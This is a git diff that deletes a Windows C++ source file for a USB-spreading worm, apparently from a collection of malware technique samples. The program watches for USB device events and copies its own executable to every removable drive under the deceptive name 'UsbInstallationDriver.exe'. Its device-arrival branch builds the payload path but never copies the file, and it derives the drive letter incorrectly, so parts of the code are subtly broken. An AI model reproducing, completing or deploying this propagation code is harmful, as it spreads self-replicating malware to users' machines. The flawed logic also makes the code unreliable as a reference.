diff --git a/USB Propagation/UsbPropagate.cpp b/USB Propagation/UsbPropagate.cpp deleted file mode 100644 index 89d2ab2..0000000 --- a/USB Propagation/UsbPropagate.cpp +++ /dev/null @@ -1,172 +0,0 @@ -#include -#include -#include -#include -#include - - -LRESULT CALLBACK WndProcRoutine(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam); - -int __stdcall wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PWSTR lpCmdLine, int nShowCmd) -{ - DWORD dwError = ERROR_SUCCESS; - WNDCLASSEXW WndClass = { 0 }; - WCHAR lpClassName[] = L"USBWORM"; - ATOM aTable = 0; - MSG uMessage; - INT Ret = 0; - HWND hWnd; - - WndClass.cbSize = sizeof(WndClass); - WndClass.lpfnWndProc = (WNDPROC)WndProcRoutine; - WndClass.hInstance = GetModuleHandle(NULL); - WndClass.lpszClassName = (LPWSTR)lpClassName; - - aTable = RegisterClassExW(&WndClass); - if (!aTable) - goto FAILURE; - - hWnd = CreateWindowExW(0, lpClassName, L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL); - if(hWnd == NULL) - goto FAILURE; - - while ((Ret = GetMessageW(&uMessage, NULL, 0, 0)) != ERROR_SUCCESS) - { - if (Ret == -1) - goto FAILURE; - - TranslateMessage(&uMessage); - DispatchMessageW(&uMessage); - } - - if(aTable) - UnregisterClassW(lpClassName, hInstance); - - return ERROR_SUCCESS; - -FAILURE: - - dwError = GetLastError(); - - if (aTable) - UnregisterClassW(lpClassName, hInstance); - - return dwError; -} - -LRESULT CALLBACK WndProcRoutine(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam) -{ - static HDEVNOTIFY hDeviceNotify; - - switch (uMsg) - { - case WM_CREATE: - { - DEV_BROADCAST_DEVICEINTERFACE_W NotificationFilter = { 0 }; - PWCHAR szLetter = NULL; - GUID InterfaceClassGuid = { 0x25dbce51, 0x6c8f, 0x4a72, 0x8a, 0x6d, 0xb5, 0x4c, 0x2b, 0x4f, 0xc8, 0x35 }; - WCHAR szLogicalDrives[MAX_PATH] = { 0 }; - DWORD dwResults = ERROR_SUCCESS; - WCHAR tCurrentPath[MAX_PATH] = { 0 }; - WCHAR tPayloadPath[MAX_PATH] = { 0 }; - - NotificationFilter.dbcc_size = sizeof(DEV_BROADCAST_DEVICEINTERFACE_W); - NotificationFilter.dbcc_devicetype = DBT_DEVTYP_DEVICEINTERFACE; - NotificationFilter.dbcc_classguid = GUID_DEVINTERFACE_USB_DEVICE; - - hDeviceNotify = RegisterDeviceNotificationW(hWnd, &NotificationFilter, DEVICE_NOTIFY_WINDOW_HANDLE); - if (hDeviceNotify == NULL) - ExitProcess(GetLastError()); - - dwResults = GetLogicalDriveStringsW(MAX_PATH, szLogicalDrives); - if (dwResults > 0 && dwResults <= MAX_PATH) - { - szLetter = szLogicalDrives; - while (*szLetter) - { - if (GetDriveTypeW(szLetter) == 0x02) - { - if (GetModuleFileNameW(NULL, tCurrentPath, MAX_PATH) == 0) - ExitProcess(0); - - swprintf(tPayloadPath, MAX_PATH, L"%sUsbInstallationDriver.exe", szLetter); - - if (!CopyFileW(tCurrentPath, tPayloadPath, FALSE)) - ExitProcess(0); - } - szLetter += wcslen(szLetter) + 1; - } - } - break; - } - - case WM_DEVICECHANGE: - { - PDEV_BROADCAST_HDR lpDev = (PDEV_BROADCAST_HDR)lParam; - PDEV_BROADCAST_DEVICEINTERFACE_W Dev = NULL; - PDEV_BROADCAST_VOLUME lpVolume = NULL; - DWORD dwMask = 0; - WCHAR tPayloadPath[MAX_PATH] = { 0 }; - switch (wParam) - { - case DBT_DEVNODES_CHANGED: - { - Sleep(10); - break; - } - case DBT_DEVICEARRIVAL: - { - if (lpDev->dbch_devicetype == 2 || lpDev->dbch_devicetype == 5) - { - - if (lpDev->dbch_devicetype == 5) - { - Dev = (PDEV_BROADCAST_DEVICEINTERFACE_W)lParam; - } - - lpVolume = (PDEV_BROADCAST_VOLUME)lpDev; - if (lpVolume->dbcv_flags & DBTF_MEDIA) - { - CHAR X; - dwMask = lpVolume->dbcv_unitmask; - - for (X = 0; X < 26; X++) - { - if (dwMask & 1) - break; - - dwMask = dwMask >> 1; - } - - swprintf(tPayloadPath, MAX_PATH, L"%c:\\UsbInstallationDriver.exe", (dwMask + 'A')); - } - - break; - } - } - } - break; - } - - case DBT_DEVICEREMOVECOMPLETE: - break; - - case WM_CLOSE: - case WM_DESTROY: - { - if(hDeviceNotify) - UnregisterDeviceNotification(hDeviceNotify); - - break; - } - - default: - { - return DefWindowProc(hWnd, uMsg, wParam, lParam); - break; - } - - } - - return ERROR_SUCCESS; -}